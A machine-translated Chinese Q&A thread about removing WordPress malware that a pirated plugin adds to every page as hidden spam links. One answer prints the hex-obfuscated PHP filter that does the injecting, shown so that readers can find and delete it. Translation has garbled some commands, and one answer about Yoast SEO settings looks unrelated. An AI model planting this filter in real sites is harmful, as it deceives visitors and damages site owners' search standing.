Wordpress 恶意文本出现在所有页面和帖子中。我怎样才能摆脱它?

Wordpress 恶意文本出现在所有页面和帖子中。我怎样才能摆脱它?,wordpress,malware,Wordpress,Malware,昨天,为了让我的buddypress注册页面显示“条款和条件”复选框,我安装了几个过时的插件(我的坏插件),从那时起,所有页面和帖子开始在开头和底部显示一些不需要的文本。 我已经删除了所有的插件,但我还是得到了消息。我尝试了几种恶意软件扫描器,如wordfence、sucuri等,但一切都表明我的网站是干净的。我现在别无选择。请帮我从我的网站上删除它 在页面开始处,出现以下代码: <div style="position:absolute;top:0;left:-9999px;">W

昨天,为了让我的buddypress注册页面显示“条款和条件”复选框,我安装了几个过时的插件(我的坏插件),从那时起,所有页面和帖子开始在开头和底部显示一些不需要的文本。
我已经删除了所有的插件,但我还是得到了消息。我尝试了几种恶意软件扫描器,如wordfence、sucuri等,但一切都表明我的网站是干净的。我现在别无选择。请帮我从我的网站上删除它

在页面开始处,出现以下代码:

<div style="position:absolute;top:0;left:-9999px;">Want create site? Find <a href="http://dlwordpress.com/">Free WordPress Themes</a> and plugins.</div>`
<div style="position:absolute;top:0;left:-9999px;">Did you find apk for android? You can find new <a href="https://dlandroid24.com/">Free Android Games</a> and apps.</div>
要创建站点吗?查找和安装插件`
在页面结束前,出现以下代码:

<div style="position:absolute;top:0;left:-9999px;">Want create site? Find <a href="http://dlwordpress.com/">Free WordPress Themes</a> and plugins.</div>`
<div style="position:absolute;top:0;left:-9999px;">Did you find apk for android? You can find new <a href="https://dlandroid24.com/">Free Android Games</a> and apps.</div>
你找到android的apk了吗?你可以找到新的和新的应用程序。

如您所见,由于
左侧:-9999px
在上述代码中,文本通常不可见,但可以在搜索引擎结果和社交共享中看到。

如果您没有使用自定义主题,请尝试删除当前主题(备份后)并从原始源重新安装。该插件可能已在您的主题模板中添加了代码。

该问题是由从dlwordpress.com下载的插件造成的。 代码通常添加到插件本身的一些主文件中,并被十六进制代码屏蔽。 代码如下:

if( ! function_exists('sorry_function')){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
    $vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76";
    $zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76";
    $fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
    add_filter('the_content', 'sorry_function');}

删除该插件或删除任何php文件中的这部分代码,如果存在

,则会显示该代码,因为您使用空插件,只需将下面的代码插入模板中的custom.css即可:

div[style="position:absolute;top:0;left:-9999px;"]{
display: none !important;
}

首先从控制台使用
sudo grep-r sorry\u函数*
进行搜索,并获取文件名。之后,使用ftp客户端删除
sorry\u function()
它是从Yoast SEO插件获得的,
请按照本步骤中的步骤将其拆下。Yoast SEO>Social>Twitter并禁用了元描述。

谢谢您找到并删除了它。除此之外,还有其他几个代码片段注入到我的主题文件中。除此之外,还有一个名为class.wp.php的全新文件。在“wordfence”插件的帮助下,我删除了额外的代码并删除了文件,一切都恢复正常。最好的选择是使用“搜索=>在文件中查找”“使用插件文件夹中的编辑器软件(如Notepadd++)运行。搜索sorry_函数,找到该函数并将其删除。我在revslider插件的base.class.php中找到了这个“sorry函数”。我只是从文件中删除了这个函数,现在它工作正常。这根本不是修复,只是隐藏了问题。仅供参考,我在高级自定义字段中找到了它。